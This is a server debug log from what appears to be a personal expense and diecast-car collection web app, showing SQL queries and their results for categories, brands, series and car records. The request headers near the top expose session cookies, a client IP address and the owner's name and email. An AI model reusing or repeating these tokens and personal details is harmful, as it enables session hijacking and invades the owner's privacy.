    priority: 'u=0, i',
    cookie: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T13:12:07.489Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AwQ9Elb2HgDwKrD4%2BhCD%2FUg%3D%3D.7rdDP9wxyl0aO75I%2Bq53HvD98D%2Fd6atNTjg5THyf3JcYTJ537HHDVruqHLVsLKGqdMl2N%2BaIsxc4CMLRaVENR%2BVmHHdjzAXHcN2YbndO94NEgA3AGccxqMhIRn0LWXvk6vukDUOgMv8QS6FLd7DXcaVPBlougBM7dP6ibp5pQ54%3D.n4PsaVhO4oUTERP3pI6LkFSUlj1SAlqhx1hRSCN6840; your_r_git.sid=s%3A3lTA3nIPABvnONeQSH5cAE_XgE_jV1Tw.K%2FLtPd5vtu4qD9dwBBdPuzizbn8j1fuKz5Ml%2FxnALF4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-12T13:26:31.756Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-12T13:26:31.758Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:26:31.760Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-12T13:26:31.761Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:26:31.762Z server-connect:app Executing action step identify
2026-02-12T13:26:31.762Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:31.762Z server-connect:output identity: 1
2026-02-12T13:26:31.762Z server-connect:app Executing action step restrict
2026-02-12T13:26:31.762Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:31.764Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-12T13:26:31.766Z server-connect:output restrict: undefined
2026-02-12T13:26:31.766Z server-connect:app Executing action step select
2026-02-12T13:26:31.766Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-12T13:26:31.767Z server-connect:app Executing action step identify
2026-02-12T13:26:31.767Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:31.767Z server-connect:output identity: 1
2026-02-12T13:26:31.767Z server-connect:app Executing action step restrict
2026-02-12T13:26:31.767Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:31.770Z server-connect:app Executing action step identify
2026-02-12T13:26:31.770Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:31.770Z server-connect:output identity: 1
2026-02-12T13:26:31.770Z server-connect:app Executing action step restrict
2026-02-12T13:26:31.770Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:31.771Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-12T13:26:31.771Z server-connect:app Executing action step identify
2026-02-12T13:26:31.771Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:31.771Z server-connect:output identity: 1
2026-02-12T13:26:31.771Z server-connect:app Executing action step restrict
2026-02-12T13:26:31.771Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:31.772Z server-connect:app Executing action step identify
2026-02-12T13:26:31.772Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:31.772Z server-connect:output identity: 1
2026-02-12T13:26:31.772Z server-connect:app Executing action step restrict
2026-02-12T13:26:31.772Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:31.778Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-12T13:26:31.780Z server-connect:app Executing action step identify
2026-02-12T13:26:31.780Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:31.780Z server-connect:output identity: 1
2026-02-12T13:26:31.780Z server-connect:app Executing action step restrict
2026-02-12T13:26:31.780Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:31.781Z server-connect:output restrict: undefined
2026-02-12T13:26:31.781Z server-connect:app Executing action step select
2026-02-12T13:26:31.781Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:26:31.782Z server-connect:output restrict: undefined
2026-02-12T13:26:31.782Z server-connect:app Executing action step single
2026-02-12T13:26:31.782Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-12T13:26:31.783Z server-connect:output restrict: undefined
2026-02-12T13:26:31.783Z server-connect:app Executing action step select
2026-02-12T13:26:31.783Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:26:31.784Z server-connect:output restrict: undefined
2026-02-12T13:26:31.784Z server-connect:app Executing action step paged
2026-02-12T13:26:31.784Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-12T13:26:31.786Z server-connect:output restrict: undefined
2026-02-12T13:26:31.786Z server-connect:app Executing action step select
2026-02-12T13:26:31.786Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-12T13:26:31.788Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-12T13:26:31.789Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-12T13:26:31.790Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-12T13:26:31.793Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-12T13:26:31.794Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-12T13:26:31.795Z server-connect:app Executing action step identify
2026-02-12T13:26:31.795Z server-connect:app options: { provider: 'security' }
2026-02-12T13:26:31.796Z server-connect:output identity: 1
2026-02-12T13:26:31.796Z server-connect:app Executing action step restrict
2026-02-12T13:26:31.796Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T13:26:31.797Z server-connect:output restrict: undefined
2026-02-12T13:26:31.797Z server-connect:app Executing action step select
2026-02-12T13:26:31.797Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-12T13:26:31.799Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
